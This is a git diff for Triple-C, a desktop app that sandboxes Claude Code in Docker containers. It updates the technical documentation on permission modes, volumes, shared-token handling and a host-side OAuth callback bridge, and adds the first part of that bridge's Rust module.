Fixed in Phase 3 — `useProjectSave` now renders a + Saved / Saving / Save failed indicator and raises a toast. + +--- + +## Known gaps left by Phase 2–3 + +- **Editing a scheduled task changes its id.** `triple-c-scheduler` has no `edit` + subcommand, and hand-editing its JSON behind its back would desync the crontab, so edit is + implemented as add-then-remove. The add runs first, so a rejected edit leaves the original + intact. The task gets a new id and its older logs stay under the old one; the editor says + so before saving. +- **`open_terminal_session` takes no command argument.** "Resume session" and + "Manage in terminal" therefore open a bash tab and *type* the command after a + fixed prompt delay. It works, but it is timing-dependent and will misfire on a + slow container start. The fix is a `command: Option` parameter on the + Tauri command so the exec launches the process directly. +- **Uptime is observed, not reported.** `get_container_info` returns a status enum + with no start time, so Project Home records "running since" when the app *sees* + the transition. A container already running when the app launches shows + `● Running` with no elapsed time. Surfacing Docker's `State.StartedAt` would fix it. +- **`lucide-react` was not adopted** (DESIGN-REVIEW Tier-1 #9) — no package-registry + access in the build environment used for this cycle. The existing inline SVGs and + text glyphs remain. +- **The tab strip stayed in the TopBar** rather than moving onto the terminal panel's + top edge. DESIGN-REVIEW §A6 asks for the move but its own §B2 layout diagram puts + the tabs in the TopBar; the diagram won. Worth revisiting. +- **`Ctrl+Shift+W`, not `Ctrl+W`, closes a tab.** Plain `Ctrl+W` is readline's + `kill-word`, used constantly inside the terminal this app is built around; + intercepting it globally would break word-erase in every shell. diff --git a/TECHNICAL.md b/TECHNICAL.md index cf02576..d6269da 100644 --- a/TECHNICAL.md +++ b/TECHNICAL.md @@ -2,7 +2,7 @@ ## Overview -Triple-C (Claude-Code-Container) sandboxes Claude Code inside Docker containers so that when running with `--dangerously-skip-permissions`, Claude only has access to files and projects you explicitly provide. The project consists of two components: a **Docker container image** pre-loaded with development tools, and a **cross-platform desktop application** for managing project containers, terminal sessions, and authentication. +Triple-C (Claude-Code-Container) sandboxes Claude Code inside Docker containers so that even in its most permissive mode — `--dangerously-skip-permissions` — Claude only has access to files and projects you explicitly provide. The project consists of two components: a **Docker container image** pre-loaded with development tools, and a **cross-platform desktop application** for managing project containers, terminal sessions, and authentication. --- @@ -123,7 +123,8 @@ Implementation gotchas for the terminal view and its global controls (merged in ┌──────────────────────────────────────────────────────────┐ │ Docker Container (per project) │ │ │ -│ /workspace ←── bind mount ──► Host project directory │ +│ /workspace/ ←─ bind mount ─► Host project folder │ +│ /home/claude ←── named volume (home dir) │ │ /home/claude/.claude ←── named volume (persists config) │ │ /tmp/.host-ssh ←── read-only bind mount (SSH keys) │ │ /var/run/docker.sock ←── optional (sibling containers) │ @@ -160,22 +161,143 @@ Terminal resize follows the same pattern: `ResizeObserver` detects container siz Containers follow a **stop/start** model, not create/destroy: -1. **First start**: A new container is created with bind mounts, environment variables, and labels. The entrypoint remaps UID/GID, configures SSH and git, then runs `sleep infinity` to keep the container alive. -2. **Terminal open**: `docker exec` launches `claude --dangerously-skip-permissions` with a PTY in the running container. +1. **First start**: A new container is created with bind mounts, named volumes, environment variables, and labels. The entrypoint remaps UID/GID, configures SSH and git, rebuilds the scheduler crontab, then runs `sleep infinity` to keep the container alive. +2. **Terminal open**: `docker exec` launches `claude` with a PTY in the running container, with the permission-mode flags from `PermissionMode::cli_args()` (or `bash -l` for a shell session). 3. **Stop**: `docker stop` halts the container but preserves its filesystem. Any packages Claude installed via `apt`, `pip`, `cargo`, etc. survive. -4. **Restart**: `docker start` resumes the existing container. All installed tools and configuration persist. -5. **Reset**: The container is removed and recreated from the image. This is a clean slate — the nuclear option when the container state is corrupted. +4. **Restart**: `docker start` resumes the existing container — unless `container_needs_recreation()` finds a `triple-c.*` label that no longer matches the project's settings, in which case the container is committed to a snapshot image (`triple-c-snapshot-{projectId}:latest`), removed, and recreated from that snapshot. Installed tools survive; the named volumes are untouched. +5. **Reset**: `rebuild_project_container` closes live exec sessions, removes the container, removes the snapshot image, calls `remove_project_volumes` to delete **both** named volumes, then starts fresh from the clean base image. -The `.claude` configuration directory uses a **named Docker volume** (`triple-c-claude-config-{projectId}`) so OAuth tokens from `claude login` persist even across container resets. +Two named volumes exist per project and they are the only ones it owns: + +| Volume | Mount point | Purpose | +|---|---|---| +| `triple-c-home-{projectId}` | `/home/claude` | Home directory — `~/.claude.json`, `~/.local`, `~/.ssh`, `~/.aws` | +| `triple-c-claude-config-{projectId}` | `/home/claude/.claude` | Claude Code config: OAuth credential, settings, skills/agents/commands, session transcripts, scheduler state. Nested inside the home volume; Docker gives the more specific mount precedence. | + +`remove_project_volumes` names those two volumes explicitly (no prefix sweep) and is called from +exactly two places: `remove_project` and `rebuild_project_container`. Ordinary container removal +passes `v: false`, so stop/start and recreation never touch the volumes — **only Reset and project +removal delete them.** A Reset therefore destroys the `claude login` credential, installed skills, +session transcripts and scheduled tasks; it does not touch host bind mounts, the project record, or +host keychain secrets. + +### Permission Modes + +`PermissionMode` (`models/project.rs`) is a four-state enum replacing the earlier `full_permissions` +boolean. It reaches Claude Code by two different routes: + +| Mode | `cli_args()` — interactive terminals | `as_env_value()` — scheduler | +|---|---|---| +| `Plan` | `--permission-mode plan` | `plan` | +| `Default` | *(no flag)* | `default` | +| `AcceptEdits` | `--permission-mode acceptEdits` | `acceptEdits` | +| `Bypass` | `--dangerously-skip-permissions` | `bypass` | + +`Project.permission_mode` is `Option`, and `effective_permission_mode()` resolves +`None` from the legacy `full_permissions` flag, so records written before the change keep behaving +the same way. + +**Interactive path.** `build_terminal_cmd()` evaluates `cli_args()` when a session is created, so +the flags are fixed for the life of that `claude` process. Changing the mode affects terminals +opened afterwards, not running ones. The same applies to `resume_session_command`, which builds +`claude --resume ` server-side. + +**Scheduler path.** Cron jobs run with a minimal environment, so the mode travels as +`TRIPLE_C_PERMISSION_MODE` in the container's env; the entrypoint snapshots the allowlisted +variables into `~/.claude/scheduler/.env`, and `triple-c-task-runner` sources that file and maps the +value back to flags for its `claude -p` run. Container env can only change at create time, so +`container_needs_recreation()` compares a `triple-c.permission-mode` label and forces a recreation +on the next start. A mode change therefore reaches new terminals immediately but the scheduler only +after a stop/start. `TRIPLE_C_PERMISSION_MODE` is a reserved env key so it cannot be hand-set. ### Authentication Modes -Each project independently chooses one of two authentication methods: +Each project independently chooses one backend: -| Mode | How It Works | When to Use | +| Backend | How It Works | When to Use | |------|-------------|-------------| -| **Anthropic (OAuth)** | User runs `claude login` or `/login` inside the terminal. OAuth URL opens in host browser via URL detection. Token persists in the `.claude` config volume. | Default — personal and team use | -| **AWS Bedrock** | Per-project AWS credentials (static keys, profile, or bearer token) injected as env vars. `~/.aws` config optionally bind-mounted read-only. | Enterprise environments using Bedrock | +| **Anthropic** | Either the shared `CLAUDE_CODE_OAUTH_TOKEN` injected from the OS keychain, or a per-container `claude login` whose credential persists in the `.claude` config volume. The OAuth URL opens in the host browser via URL detection. | Default — personal and team use | +| **AWS Bedrock** | Per-project AWS credentials (static keys, named profile, or bearer token) injected as env vars. `~/.aws` config optionally bind-mounted read-only; SSO sessions are validated before launching Claude for profile auth. | Enterprise environments using Bedrock | +| **Ollama** | `ANTHROPIC_BASE_URL` points at an Ollama server; `ANTHROPIC_AUTH_TOKEN` is set to a placeholder. | Local models (best-effort) | +| **OpenAI Compatible** | `ANTHROPIC_BASE_URL` plus `ANTHROPIC_AUTH_TOKEN` point at any OpenAI-compatible endpoint (LiteLLM, OpenRouter, vLLM, …). | Gateways and proxies (best-effort) | + +### Shared Claude Authentication Token + +`commands/auth_token_commands.rs` runs `claude setup-token` on a PTY inside a running container. +Contrary to the loopback pattern most CLI logins use, `setup-token` redirects to an Anthropic-hosted +page and then blocks on a stdin paste prompt, so the flow needs a way to feed the pasted code back +in — hence `submit_claude_token_code`. The flow is single-flight (the token is global, so two +concurrent logins would race to overwrite each other's keychain entry) and times out after 15 +minutes. + +- **Storage** — the OS keychain, under a dedicated service name; the token is never returned to the + frontend, never written to a log, and no command accepts or returns it. +- **Redaction** — streamed output is stripped of ANSI sequences and passed through a stateful + redactor that masks anything matching `sk-ant-` with a plausible body, withholding any tail that + could still grow into a secret across a chunk boundary. +- **Injection** — `CLAUDE_CODE_OAUTH_TOKEN` is set only when the backend is Anthropic, the project + has not opted out (`use_shared_auth_token`, default `true`), and a non-blank token is stored. When + those conditions do not hold, the variable is explicitly set to empty rather than omitted, so a + value baked into a snapshot image by `docker commit` is actively cleared. +- **Rotation** — a random UUID minted on each store is mirrored into the + `triple-c.claude-token-version` label. It is deliberately *not* a hash of the token: labels are + readable by anything that can run `docker inspect`, and a hash would be an offline verification + oracle. A label mismatch forces container recreation on the next start, which is when a container + picks up or loses the token. + +### Auth Bridge + +CLIs that log in through a browser (`claude login`, `aws sso login`, `fly login`) start an ephemeral +HTTP listener on an unpredictable loopback port and hand the provider a `http://localhost:/…` +redirect. Run inside a container, that listener is unreachable from the host browser and nothing can +be pre-published at container-creation time. `auth_bridge/` bridges it at runtime: + +- **Discovery** (`proc_net.rs`) — a `docker exec` reads `/proc/net/tcp` and `/proc/net/tcp6` every + two seconds. The image ships no `ss`, `netstat` or `lsof`. Only rows in state `0A` (`TCP_LISTEN`) + bound to loopback are kept; wildcard binds are ignored on purpose, since publishing those is the + port-mappings feature's job. +- **Family handling** — a `::1`-only listener genuinely cannot be reached over `127.0.0.1`, and Node + resolves `localhost` to IPv6 first on Linux, so `claude login` frequently binds `::1` alone. The + socat target follows the family actually observed; IPv4-mapped rows in `/proc/net/tcp6` are + treated as IPv4. +- **Host bind** (`tunnel.rs`) — the same port number is bound on the host: `127.0.0.1` is required, + `[::1]` is best-effort. **The host side binds loopback only, never a wildcard address** — + everything behind it is an unauthenticated in-container service that bound loopback precisely + because it expected to be unreachable. +- **Transport** — each accepted connection is proxied by an attached exec running + `socat - TCP:127.0.0.1:`, because container IPs are not routable from the host under Docker + Desktop. It goes through the same `create_attached_exec()` helper as terminal sessions, with + `tty: false` so socat's stderr is demultiplexed away from the proxied byte stream. +- **Policy** — ports appearing in the project's port mappings are skipped, and a host bind failure + is recorded as a conflict and retried later rather than fought over. +- **Lifecycle** — opt-in per project (`auth_bridge_enabled`, default `false`). It is purely + host-side, so it deliberately has no container-recreation label. The poller stops itself when the + project is gone, the flag is cleared, or the container is no longer running, and `stop()` awaits + it so host ports are provably released. + +### Container Introspection + +`list_container_capabilities` (`commands/inspect_commands.rs`) executes a read-only shell script in +a running container and returns counts and item lists for skills, agents, commands, hooks, plugins +and MCP servers, across user scope (`/home/claude/.claude`) and project scope +(`/workspace/*/.claude`, `/workspace/*/.mcp.json`). Everything is computed in-container with +`find`/`awk`/`jq`; only the JSON summary crosses the wire, and a stopped container yields zeros +rather than an error. + +The script writes nothing. Claude Code owns this configuration and has its own tooling for it +(`/agents`, `/hooks`, `/plugins`, `/mcp`); Triple-C surfaces counts and opens a terminal rather than +rebuilding those editors as forms. `list_claude_sessions` and the scheduler commands +(`list_scheduled_tasks`, `get_scheduled_task_log`, `set_scheduled_task_enabled`, +`run_scheduled_task_now`, `remove_scheduled_task`, `clear_scheduler_notifications`) live in the same +module; the mutating ones shell out to `triple-c-scheduler` rather than editing its state files. + +### Main-Area Tab Model + +The frontend keeps a single ordered `tabOrder` array in the Zustand store holding two tab kinds, +`home:` and `term:`, rendered by `components/layout/MainTabs.tsx`. +`activeSessionId` is *derived* from `activeTabKey`, so exactly one thing is current and a Project +Home tab and a terminal cannot both claim focus. Project configuration is a main-area view +(`components/projects/home/`), not a modal; the sidebar row is select-only. ### UID/GID Remapping @@ -205,10 +327,12 @@ This avoids the common Docker problem where bind-mount permissions can't be chan | Data | Storage | Location | |------|---------|----------| | Project configurations | JSON file (atomic writes) | `~/.local/share/triple-c/projects.json` | -| API keys | OS keychain | macOS Keychain / Windows Credential Manager / Linux Secret Service | +| API keys and per-project secrets | OS keychain | macOS Keychain / Windows Credential Manager / Linux Secret Service | +| Shared Claude token + rotation id | OS keychain | Separate service entries; never on disk, never in a label | | App settings | Tauri plugin-store | App data directory | -| Claude config/tokens | Named Docker volume | `triple-c-claude-config-{projectId}` | -| Container filesystem | Docker container layer | Preserved across stop/start, cleared on reset | +| Claude config, sessions, scheduler state | Named Docker volume | `triple-c-claude-config-{projectId}` | +| Container home directory | Named Docker volume | `triple-c-home-{projectId}` | +| Container filesystem | Docker container layer, preserved into `triple-c-snapshot-{projectId}:latest` on recreation | Survives stop/start and recreation; destroyed by Reset | The projects store uses **atomic writes** (write to `.json.tmp`, then `rename()`) to prevent data corruption if the app crashes mid-write. Corrupted files are backed up to `.json.bak` before being replaced. @@ -230,98 +354,159 @@ The `TerminalView` component works around this with a **URL accumulator**: triple-c/ ├── README.md # Architecture overview ├── TECHNICAL.md # This document -├── HOW-TO-USE.md # User guide +├── HOW-TO-USE.md # User guide (also served by the in-app Help dialog) ├── BUILDING.md # Build instructions ├── CLAUDE.md # Claude Code instructions +├── DESIGN-REVIEW.md # UI/UX review notes +├── ROADMAP.md # Planned work │ -├── container/ +├── container/ # Sandbox image │ ├── Dockerfile # Ubuntu 24.04 + all dev tools + Claude Code -│ ├── entrypoint.sh # UID/GID remap, SSH setup, git config, MCP injection +│ ├── entrypoint.sh # UID/GID remap, SSH setup, git config, settings injection, +│ │ # scheduler env snapshot + crontab rebuild │ ├── osc52-clipboard # Clipboard shim (xclip/xsel/pbcopy via OSC 52) │ ├── audio-shim # Audio capture shim (rec/arecord via FIFO) │ ├── triple-c-scheduler # Bash-based cron task system -│ └── triple-c-task-runner # Task execution runner for scheduler +│ ├── triple-c-task-runner # Cron entry point; permission mode → flags → `claude -p` +│ ├── triple-c-sso-refresh # AWS SSO session refresh helper +│ └── mission-control/ # Bundled Flight Control methodology (skills, docs, templates) +│ +├── stt-container/ # Speech-to-text image +│ ├── Dockerfile # Faster Whisper (Python 3.11 + FastAPI) +│ └── server.py # POST /transcribe endpoint │ ├── .gitea/ │ └── workflows/ │ ├── build-app.yml # Build Tauri app (Linux/macOS/Windows) +│ ├── build-app-preview.yml # Preview builds │ ├── build.yml # Build container image (multi-arch) +│ ├── build-stt.yml # Build the STT image │ ├── sync-release.yml # Mirror releases to GitHub -│ └── backfill-releases.yml # Bulk copy releases to GitHub +│ ├── backfill-releases.yml # Bulk copy releases to GitHub +│ └── cleanup-releases.yml # Prune old releases │ └── app/ # Tauri v2 desktop application ├── package.json # React, xterm.js, zustand, tailwindcss ├── vite.config.ts # Vite bundler config + ├── vitest.config.ts # Vitest (jsdom) config ├── index.html # HTML entry point │ ├── src/ # React frontend │ ├── main.tsx # React DOM root - │ ├── App.tsx # Top-level layout - │ ├── index.css # CSS variables, dark theme, scrollbars + │ ├── App.tsx # Top-level layout + welcome screen + │ ├── index.css # CSS variables, dark theme, focus ring, scrollbars │ ├── store/ - │ │ └── appState.ts # Zustand store (projects, sessions, MCP, UI) + │ │ └── appState.ts # Zustand store (projects, sessions, tab strip, toasts) │ ├── hooks/ + │ │ ├── useClaudeAuth.ts # Shared token status + acquisition + │ │ ├── useContainerProgress.ts # container-progress events → inline progress │ │ ├── useDocker.ts # Docker status, image build/pull - │ │ ├── useFileManager.ts # File manager operations - │ │ ├── useMcpServers.ts # MCP server CRUD + │ │ ├── useFileManager.ts # File browser operations + │ │ ├── useInstallHelper.ts # Guided Docker installation + │ │ ├── useKeyboardShortcuts.ts # Ctrl+T / Ctrl+Shift+W / Ctrl+Tab / Ctrl+1..9 + │ │ ├── useProjectActions.ts # Start/stop/reset/backup, open terminals │ │ ├── useProjects.ts # Project CRUD operations + │ │ ├── useSaveState.ts # Saved / Saving / Failed indicator state │ │ ├── useSettings.ts # App settings + │ │ ├── useSTT.ts # Speech-to-text recording and container control │ │ ├── useTerminal.ts # Terminal I/O, resize, session events │ │ ├── useUpdates.ts # App update checking │ │ └── useVoice.ts # Voice mode audio capture │ ├── lib/ │ │ ├── types.ts # TypeScript interfaces matching Rust models │ │ ├── tauri-commands.ts # Typed invoke() wrappers + │ │ ├── urlDetector.ts # Long-URL reassembly for OAuth flows + │ │ ├── wav.ts # WAV encoding for STT │ │ └── constants.ts # App-wide constants │ └── components/ - │ ├── layout/ # Sidebar, TopBar, StatusBar - │ ├── mcp/ # McpPanel, McpServerCard - │ ├── projects/ # ProjectCard, ProjectList, AddProjectDialog, - │ │ # FileManagerModal, ContainerProgressModal, modals + │ ├── DockerInstallDialog.tsx # First-run Docker setup + │ ├── layout/ # TopBar, MainTabs (the unified tab strip), + │ │ # Sidebar, StatusBar, HelpDialog + │ ├── projects/ + │ │ ├── home/ # Project Home — the main-area project view + │ │ │ ├── ProjectHome.tsx # Header, actions, overflow menu, tab strip + │ │ │ ├── OverviewTab.tsx # Permission mode, summary, recent activity + │ │ │ ├── SessionsTab.tsx # Past Claude sessions + Resume + │ │ │ ├── AutomationTab.tsx # Scheduler tasks + notifications + │ │ │ ├── ConfigTab.tsx # Config section host + │ │ │ ├── FilesTab.tsx # In-container file browser + │ │ │ ├── CapabilityTiles.tsx # Read-only capability counts + │ │ │ ├── format.ts # Age / size / uptime formatting + │ │ │ └── config/ # WorkspaceSection, ModelSection, + │ │ │ # AccessSection, RuntimeSection + │ │ ├── ProjectRow.tsx # Select-only sidebar row + │ │ ├── ProjectList.tsx # Sidebar project list + │ │ ├── AddProjectDialog.tsx # New-project dialog + │ │ ├── PermissionModeControl.tsx # Plan/Default/Accept Edits/Bypass + │ │ ├── ConfirmRemoveModal.tsx # Project removal confirmation + │ │ └── *Editor.tsx / *Modal.tsx # EnvVars, PortMappings, + │ │ # ClaudeInstructions, ClaudeCodeSettings — + │ │ # editors reused by Project Home │ ├── settings/ # SettingsPanel, DockerSettings, AwsSettings, - │ │ # WebTerminalSettings, UpdateDialog - │ └── terminal/ # TerminalView (xterm.js), TerminalTabs, UrlToast + │ │ # OllamaSettings, OpenAiCompatibleSettings, + │ │ # SharedAuthSettings, ClaudeAuthModal, + │ │ # WebTerminalSettings, SttSettings, + │ │ # MicrophoneSettings, UpdateDialog, ImageUpdateDialog + │ ├── terminal/ # TerminalView (xterm.js), TerminalContextMenu, + │ │ # SttButton, UrlToast, trimSelection + │ └── ui/ # Shared primitives: Modal, Button, Toggle, Field, + │ # SegmentedControl, StatusIndicator, SaveIndicator, + │ # OverflowMenu, ToastHost, Tooltip, AccordionSection │ └── src-tauri/ # Rust backend ├── Cargo.toml # Rust dependencies ├── tauri.conf.json # Tauri app configuration + ├── build.rs # Tauri build script ├── capabilities/ - │ └── default.json # Tauri v2 permission grants + │ └── default.json # Tauri v2 plugin permission grants └── src/ ├── lib.rs # App builder, plugin + command registration ├── main.rs # Entry point ├── logging.rs # Log configuration ├── commands/ # Tauri command handlers - │ ├── docker_commands.rs # Docker status, image ops - │ ├── file_commands.rs # File manager (list/download/upload) - │ ├── mcp_commands.rs # MCP server CRUD - │ ├── project_commands.rs # Start/stop/rebuild containers - │ ├── settings_commands.rs # Settings CRUD - │ ├── terminal_commands.rs # Terminal I/O, resize - │ ├── update_commands.rs # App update checking + │ ├── auth_bridge_commands.rs # Enable/status for the loopback bridge + │ ├── auth_token_commands.rs # claude setup-token flow, redaction, keychain + │ ├── aws_commands.rs # AWS profile/region discovery + │ ├── docker_commands.rs # Docker status, image ops + │ ├── file_commands.rs # File browser (list/download/upload) + │ ├── help_commands.rs # Serves HOW-TO-USE.md to the Help dialog + │ ├── inspect_commands.rs # Sessions, capabilities, scheduler tasks + │ ├── install_helper_commands.rs # Guided Docker installation + │ ├── project_commands.rs # Start/stop/rebuild/backup containers + │ ├── settings_commands.rs # Settings CRUD + │ ├── stt_commands.rs # STT start/stop/transcribe + │ ├── terminal_commands.rs # Terminal I/O, resize + │ ├── update_commands.rs # App update checking │ └── web_terminal_commands.rs # Web terminal start/stop/status - ├── web_terminal/ # Remote terminal access + ├── auth_bridge/ # Host-side loopback callback bridge + │ ├── mod.rs # Per-project poller, status, lifecycle + │ ├── proc_net.rs # /proc/net/tcp{,6} parsing, loopback filtering + │ └── tunnel.rs # Host loopback bind + socat tunnel over the Docker API + ├── web_terminal/ # Remote terminal access │ ├── mod.rs # Module root │ ├── server.rs # Axum HTTP+WS server lifecycle │ ├── ws_handler.rs # WebSocket connection handler │ └── terminal.html # Embedded xterm.js web UI + ├── install_helper/ # Docker installation assistance + │ ├── mod.rs # Install orchestration + │ └── platform.rs # Per-OS install strategies ├── docker/ # Docker API layer │ ├── client.rs # bollard singleton connection - │ ├── container.rs # Create, start, stop, remove, fingerprinting - │ ├── exec.rs # PTY exec sessions with bidirectional streaming + │ ├── container.rs # Create/start/stop/remove, labels, recreation checks, + │ │ # remove_project_volumes, snapshot commit + │ ├── exec.rs # create_attached_exec() — the single attached-exec path │ ├── image.rs # Build from Dockerfile, pull from registry - │ └── network.rs # Per-project bridge networks for MCP + │ ├── stt.rs # Speech-to-text container lifecycle + │ └── legacy_cleanup.rs # Migration shim for the removed MCP feature ├── models/ # Data structures - │ ├── project.rs # Project, Backend, BedrockConfig - │ ├── mcp_server.rs # MCP server configuration - │ ├── app_settings.rs # Global settings (image source, AWS, etc.) + │ ├── project.rs # Project, Backend, PermissionMode, BedrockConfig, … + │ ├── app_settings.rs # Global settings (image source, AWS, STT, web terminal) │ ├── container_config.rs # Image name resolution │ └── update_info.rs # Update metadata └── storage/ # Persistence ├── projects_store.rs # JSON file with atomic writes - ├── mcp_store.rs # MCP server persistence ├── settings_store.rs # App settings (Tauri plugin-store) - └── secure.rs # OS keychain via keyring + └── secure.rs # OS keychain via keyring (secrets, shared token) ``` --- @@ -345,6 +530,11 @@ triple-c/ | `tar` | 0.4 | In-memory tar archives for Docker build context | | `dirs` | 6.x | Cross-platform app data directory paths | | `serde` / `serde_json` | 1.x | Serialization for IPC and persistence | +| `log` / `fern` | 0.4 / 0.7 | Date-based file logging | +| `include_dir` | 0.7 | Embeds the container build context in the binary | +| `reqwest` | 0.12 | HTTPS (rustls) for update checks, help content, STT uploads | +| `iana-time-zone` | 0.1 | Host timezone detection for container `TZ` | +| `sha2` | 0.10 | Settings fingerprints | | `axum` | 0.8 | HTTP+WebSocket server for web terminal | | `tower-http` | 0.6 | CORS middleware for web terminal | | `base64` | 0.22 | Terminal data encoding over WebSocket | @@ -367,6 +557,8 @@ triple-c/ | `zustand` | 5.x | Lightweight state management | | `tailwindcss` | 4.x | Utility-first CSS framework | | `vite` | 6.x | Frontend build tool and dev server | +| `vitest` | 4.x | Test runner (jsdom environment) | +| `@testing-library/react` | 16.x | Component tests | ### Container Image diff --git a/app/src-tauri/src/auth_bridge/mod.rs b/app/src-tauri/src/auth_bridge/mod.rs new file mode 100644 index 0000000..568e925 --- /dev/null +++ b/app/src-tauri/src/auth_bridge/mod.rs @@ -0,0 +1,525 @@ +//! Auth Bridge — lets browser-based OAuth logins run by CLIs *inside* a +//! container complete against the browser on the *host*. +//! +//! ## The problem +//! +//! `claude login`, Concourse's `fly login`, `aws sso login` and friends all use +//! the same pattern: start a throwaway HTTP listener on a random loopback port, +//! then open a browser at a provider URL whose redirect points back to +//! `http://localhost:/callback`. Run inside a container, the listener +//! is on the *container's* loopback, the browser is on the *host's*, and the +//! callback goes nowhere — the login just hangs. The ports are ephemeral and not +//! configurable, so nothing can be pre-published at container creation time. +//! +//! ## The mechanism +//! +//! While the bridge is enabled for a running project, poll the container every +//! [`POLL_INTERVAL`] for loopback TCP listeners (see [`proc_net`]). For each one +//! that appears, bind the *same* port on the host's loopback and proxy each +//! accepted connection into the container over `docker exec … socat` (see +//! [`tunnel`]). When the in-container listener goes away, drop the host +//! listener. The host and container therefore agree on the port number, which is +//! the whole trick: the redirect URL the provider was given resolves correctly +//! on both sides. +//! +//! ## Lifecycle and teardown +//! +//! One poller task per project. It is the only thing that owns +//! [`PortForward`]s, and it always tears them down on its way out, so every way +//! the bridge can end funnels through the same code: +//! +//! | Trigger | Path | +//! |---|---| +//! | Bridge disabled | `set_auth_bridge_enabled(false)` → [`AuthBridgeManager::stop`] | +//! | Container stopped via UI | `stop_project_container` → [`AuthBridgeManager::stop`] | +//! | Container stopped/died another way | poller's own `is_container_running` check → loop exits | +//! | Project deleted | `remove_project` → [`AuthBridgeManager::stop`]; also the poller's `store.get()` check | +//! | Container rebuilt | `rebuild_project_container` → stop, then start re-arms it | +//! | App exit | window `CloseRequested` → [`AuthBridgeManager::stop_all`] | +//! +//! [`AuthBridgeManager::stop`] awaits the poller, so host ports are provably +//! released before it returns. As a backstop for any path that skips all of the +//! above (a panicking poller, an aborted task), `PortForward`'s [`Drop`] aborts +//! the accept loop, which drops the socket. + +pub mod proc_net; +pub mod tunnel; + +use std::collections::{BTreeMap, HashMap, HashSet}; +use std::sync::atomic::{AtomicU64, Ordering}; +use std::sync::Arc; +use std::time::Duration; + +use serde::Serialize; +use tauri::{AppHandle, Emitter}; +use tokio::sync::{watch, Mutex}; +use tokio::task::JoinHandle; + +use crate::docker::container::is_container_running; +use crate::docker::exec::exec_oneshot; +use crate::storage::projects_store::ProjectsStore; + +use proc_net::PortFamily; +use tunnel::PortForward; + +/// How often the container is polled for new/vanished loopback listeners. +/// Short enough that a login redirect isn't left waiting, cheap enough to run +/// continuously (one `cat` of two procfs files per tick). +const POLL_INTERVAL: Duration = Duration::from_secs(2); + +/// Emitted whenever the bridged-port set (or the conflict set) changes. +/// Payload: `{ project_id, status: AuthBridgeStatus }`. +const AUTH_BRIDGE_EVENT: &str = "auth-bridge-changed"; + +// ───────────────────────────────────────────────────────────────────────────── +// IPC response models +// ───────────────────────────────────────────────────────────────────────────── + +/// A port currently bound on the host loopback and forwarded into the container. +#[derive(Debug, Clone, Serialize)] +pub struct BridgedPort { + pub port: u16, + pub family: PortFamily, + /// RFC 3339 timestamp of when the host listener was bound. + pub bridged_at: String, +} + +/// A loopback listener that was discovered but could not be bridged. +#[derive(Debug, Clone, Serialize)] +pub struct PortConflict { + pub port: u16, + pub reason: String, +} + +#[derive(Debug, Clone, Serialize)] +pub struct AuthBridgeStatus { + pub enabled: bool, + pub active_ports: Vec, + pub conflicts: Vec, +} + +impl AuthBridgeStatus { + fn disabled() -> Self { + Self { + enabled: false, + active_ports: Vec::new(), + conflicts: Vec::new(), + } + } +} + +// ───────────────────────────────────────────────────────────────────────────── +// Manager +// ───────────────────────────────────────────────────────────────────────────── + +/// Everything the poller owns for one project. Live ports and conflicts sit +/// behind an `Arc>` so `get_auth_bridge_status` can read them without +/// disturbing the poller. +#[derive(Default)] +struct BridgeState { + forwards: BTreeMap, + conflicts: BTreeMap, +} + +impl BridgeState { + fn snapshot(&self, enabled: bool) -> AuthBridgeStatus { + AuthBridgeStatus { + enabled, + active_ports: self + .forwards + .values() + .map(|f| BridgedPort { + port: f.port, + family: f.family, + bridged_at: f.bridged_at.clone(), + }) + .collect(), + conflicts: self + .conflicts + .iter() + .map(|(port, reason)| PortConflict { + port: *port, + reason: reason.clone(), + }) + .collect(), + } + } +} + +struct ProjectBridge { + /// Distinguishes this poller from a later one for the same project, so a + /// poller that exits late can't remove its replacement's map entry. + epoch: u64, + cancel: watch::Sender, + state: Arc>, + poller: JoinHandle<()>, +} + +type BridgeMap = Arc>>; + +#[derive(Default)] +pub struct AuthBridgeManager { + bridges: BridgeMap, + next_epoch: AtomicU64, +} + +impl AuthBridgeManager { + pub fn new() -> Self { + Self::default() + } + + /// Start polling for `project_id`. Idempotent: a call while a live poller + /// already exists for the project is a no-op. + pub async fn start( + &self, + project_id: String, + container_id: String, + app: AppHandle, + store: Arc, + ) { + let mut map = self.bridges.lock().await; + + // A finished poller has already torn its ports down, so its entry is + // just a husk and can be replaced. A live one means we're already on. + if map + .get(&project_id) + .is_some_and(|b| !b.poller.is_finished()) + { + return; + } + + let epoch = self.next_epoch.fetch_add(1, Ordering::Relaxed); + let state = Arc::new(Mutex::new(BridgeState::default())); + let (cancel_tx, cancel_rx) = watch::channel(false); + + log::info!( + "Auth bridge: starting for project {} (container {})", + project_id, + &container_id[..container_id.len().min(12)] + ); + + let poller = tokio::spawn(poll_loop( + project_id.clone(), + container_id, + epoch, + app, + store, + state.clone(), + self.bridges.clone(), + cancel_rx, + )); + + map.insert( + project_id, + ProjectBridge { + epoch, + cancel: cancel_tx, + state, + poller, + }, + ); + } + + /// Stop the bridge for one project and wait until every host port it held + /// has been released. + pub async fn stop(&self, project_id: &str) { + // Remove under the lock, then release it before awaiting: the poller + // takes the same lock to deregister itself on exit. + let bridge = self.bridges.lock().await.remove(project_id); + if let Some(bridge) = bridge { + let _ = bridge.cancel.send(true); + let _ = bridge.poller.await; + log::info!("Auth bridge: stopped for project {}", project_id); + } + } + + /// Stop every bridge. Used on app exit. + pub async fn stop_all(&self) { + let bridges: Vec<(String, ProjectBridge)> = + self.bridges.lock().await.drain().collect(); + for (project_id, bridge) in bridges { + let _ = bridge.cancel.send(true); + let _ = bridge.poller.await; + log::info!("Auth bridge: stopped for project {}", project_id); + } + } + + /// Current status. `enabled` comes from the persisted project record, so a + /// project whose bridge is on but whose container is stopped still reports + /// `enabled: true` with no active ports. + pub async fn status(&self, project_id: &str, enabled: bool) -> AuthBridgeStatus { + let map = self.bridges.lock().await; + match map.get(project_id) { + Some(bridge) => bridge.state.lock().await.snapshot(enabled), + None => AuthBridgeStatus { + enabled, + ..AuthBridgeStatus::disabled() + }, + } + } +} + +// ───────────────────────────────────────────────────────────────────────────── +// Poller +// ───────────────────────────────────────────────────────────────────────────── + +#[allow(clippy::too_many_arguments)] +async fn poll_loop( + project_id: String, + container_id: String, + epoch: u64, + app: AppHandle, + store: Arc, + state: Arc>, + bridges: BridgeMap, + mut cancel: watch::Receiver, +) { + let mut exec_failures: u32 = 0; + + loop { + // Stop conditions checked every tick, so the bridge winds itself down + // even when nothing calls `stop()` (container died, project deleted + // out from under us, flag flipped off by another path). + let project = match store.get(&project_id) { + Some(p) => p, + None => { + log::info!("Auth bridge: project {} is gone — tearing down", project_id); 